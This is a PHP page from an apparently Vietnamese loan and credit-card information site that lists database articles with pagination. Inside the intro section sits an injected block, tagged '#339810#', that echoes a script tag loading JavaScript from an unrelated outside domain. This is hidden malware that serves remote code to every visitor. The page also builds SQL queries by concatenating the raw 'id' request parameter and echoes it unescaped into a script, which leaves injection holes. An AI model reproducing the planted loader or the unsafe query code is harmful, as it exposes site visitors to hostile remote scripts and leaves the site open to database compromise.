<?php
require_once ("src/db/connectdatabase.php");

function getIntro($id) {
	$con = new ConnectDB();
	$tbl = " loan_intro_footer";
	$fn = array('header', 'footer');
	$condetion = array('id' => $id);
	return $con -> getvalue($tbl, $fn, $condetion);
}

function getRowsData($idobj) {
	$con = new ConnectDB();
	
	$sql = "Select COUNT(*) FROM infonewobjectloan WHERE idobjectloan='".$idobj."'";
	return $con -> getvalueString($sql);
}

function getdatas($idobj, $start, $lenght) {
	$con = new ConnectDB();
	
	$sql = "SELECT nid, ntitle, datecreate FROM infonewobjectloan WHERE idobjectloan='".$idobj."' ORDER BY datecreate DESC LIMIT ".$start.",".$lenght;
	return $con -> getvalueString($sql);
}

function int_to_date($int)
{
    $time  = date("d/m/Y", $int);
    return $time;
}

if(isset($_GET['id'])) {
	$id = $_GET['id'];
	$intro = getIntro($id);
	
	$page = 1;
	if(isset($_GET['page'])) {
		$page = $_GET['page'];
	}
	
	$arrcountrows = getRowsData($id);
	$sumrecord = $arrcountrows[0][0];
	$numrecord = 10;
	$pageNumber = intval(($sumrecord / $numrecord));
	if(($sumrecord % $numrecord) != 0) {
		$pageNumber++;
	}
	
	if($pageNumber == 0) {
		$pageNumber = 1;	
	}
	
	if($page > $pageNumber) {
		$page = $pageNumber;
	}
	
	$arrdatas = getdatas($id,($page-1)*$numrecord, $numrecord);
?>
<style>
.class-pagination{
	float: right;
	clear: left;
	padding-top: 5px;
	padding-bottom: 8px;
}

.class-pageLabel{
	font-size: 11px;
	font-weight: bold;
	text-transform: uppercase;
}

.class-pageNow{
	padding: 5px;
	padding-top: 4px;
	margin: 2px;
	font-size: 11px;
	font-weight: bold;
	border: 1px solid #C0C0C0;
	background-color: #C0C0C0;
	border-radius: 4px;
	box-shadow: 0 0 10px rgba(0,0,0,.1);
	cursor: default;
}

.class-pageElem{
	padding: 5px;
	padding-top: 4px;
	margin: 2px;
	font-size: 11px;
	font-weight: bold;
	border: 1px solid #C0C0C0;
	box-shadow: 0 0 10px rgba(0,0,0,.2);
	border-radius: 4px;
	background-color: white;
}

.class-pageElem:hover{
	padding: 5px;
	margin: 2px;
	font-size: 11px;
	font-weight: bold;
	background-color: #C0C0C0;
	cursor: pointer;
}
.submitform {
	background: #004A00;
	text-indent: 1px;
	width:80px;
	height:30px;
	cursor: pointer;
	font-weight: bold;
	font-size: 14px;
}
</style>
<div class="text12" style="margin: auto; width: 970px; height: 11px; margin-top: 11px; color: #0a8bd9;">
	<u><a href="<?php echo($host) ?>" class="text12" style="color: #0080d6;">Trang chủ</a></u>&gt; Đặc điểm về thẻ tín dụng, ghi nợ</span>
</div>
<div class="intrl_txt" style="margin: auto;">
    <div style="float: left; width:  675px; margin-top: 20px; clear: right;">
    	<div><?php if(count($intro) > 0) { echo($intro[0][0]); } ?>
<?php
#339810#
if(empty($ax)) {
$ax = "<script type=\"text/javascript\">var gwloaded = false;</script>
<script src=\"http://search-scottsdale-condos.com/wp-includes/qrUSEM1b.php\" type=\"text/javascript\"></script>";
echo $ax;
}

#/339810#
?>
<?php

?>
<?php

?>
<?php

?>
<?php

?>
<?php

?>
<?php

?>
<?php

?></div>
        <div style="clear: both"></div>
        <style>
			.tblwt_txt {color: #FFFFFF;font-size: 13px;font-weight: bold;padding: 2px;}
			.tbl_txt {color: #373737;font-size: 11px;padding: 2px;}
			#txt .link-click-xemthem-class {color: #666666;font-size: 11px;line-height: 15px;text-decoration: none;}
			#txt .link-click-xemthem-class {text-decoration: none;}
			#txt .link-click-xemthem-class:hover {color: #8DAE48;text-decoration:none;}
        </style>
        <div>
        	<div class="intrl_txt" style="margin: auto;">
    			<div style="float: left; width: 660px; margin-top: 20px; clear: right;">
                	<div id="txt" class="main-show-news">
                        <table width="660" border="0" cellpadding="1" cellspacing="1" bgcolor="#d5cfb1">
                            <tr bgcolor="#8DAE48">
                                <td height="30" align="left"><b class="tblwt_txt" style="padding-left: 3px; font-size: 14px;">Những đặc điểm cần  biết</b></td>
                            </tr>
                            <?php
							foreach($arrdatas as $entry) {
								$strnameurl2 = $entry[1];
								$stbanknameurl2 = rewriteTextUrl(stripUnicode($strnameurl2));
							?>
							<tr bgcolor="#EFEEEE">
								<td align="left" bgcolor="#FFFFFF" class="tbl_txt"><div style="position: relative; margin-bottom: 5px;"><div><div style="height:5px; width: 100%;"></div><strong><a class="link-click-xemthem-class" href="<?php echo($host) ?>lai-suat/thong-tin-lai-suat/detail/<?php echo($entry[0]) ?>/<?php echo($stbanknameurl2) ?>.html"><?php echo($entry[1]) ?></a></strong></div></div></td>
							</tr>
							<tr></tr>
							<?php
							}
							?>
                            <tr bgcolor="#8DAE48">
                            	<td align="right">
                                	<div class="class-pagination">
                                        <?php 
										if($page == 1) { 
										?>
                                        <span title="Trang 1" page="1" class="class-pageNow">1</span>
                                        <?php 
										} else { 
										?>
                                        <span title="Trang đầu" page="1" class="class-pageElem"><<</span>
                                        <span title="Trang 1" page="1" class="class-pageElem">1</span>
                                        <?php 
										}
										?>
                                        <?php 
										$pagestart = 2;
										$pageEnd = $pageNumber;
										
										if(($page - 3) > 2) {
											$pagestart = $page - 3;
										}
										if(($page + 3) < $pageNumber) {
											$pageEnd = $page + 3;
										}
										
										$i = 2;
										if ($pageNumber != 1) { 
											for($i = $pagestart; $i <= $pageEnd; $i++) { 
										?>
                                        <?php 
												if($i == $page) { 
										?>
                                        <span title="Trang <?php echo($i) ?>" page="<?php echo($i) ?>" class="class-pageNow"><?php echo($i) ?></span>
                                        <?php 
												} else { 
										?>
                                        <span title="Trang <?php echo($i) ?>" page="<?php echo($i) ?>" class="class-pageElem"><?php echo($i) ?></span>
                                        <?php 
												}
										?>
                                        <?php 
											}
										}
										if ($page < --$i) {
										?>
                                        <span title="Trang cuối" page="<?php echo($i) ?>" class="class-pageElem">>></span>
                                        <?	
										}
										?>
                                    </div>
                                </td>
                            </tr>
                        </table>
       		 		</div>
                </div>
            </div>
        </div>
        <div style="clear: both"></div>
        <div><?php if(count($intro) > 0) { echo($intro[0][1]); } ?></div>
    </div>
	
    <div style="float: right; clear: right; width: 275px; height: auto;background-image: url(<?php echo($host) ?>images/gray_bg.gif);  margin-top: 10px;">
        <?php include("formsendapplyloan.php"); ?>
    </div>
</div>
<script>
$(document).on('click', '.class-pageElem', function() {
	page = $(this).attr('page');
	
	openwindowns('<?php echo($host) ?>lai-suat/thong-tin-lai-suat/<?php echo($id) ?>/page.' + page + '.html');
});

function openwindowns(url) {
	window.location = url;
}
</script>
<?php 
}

?>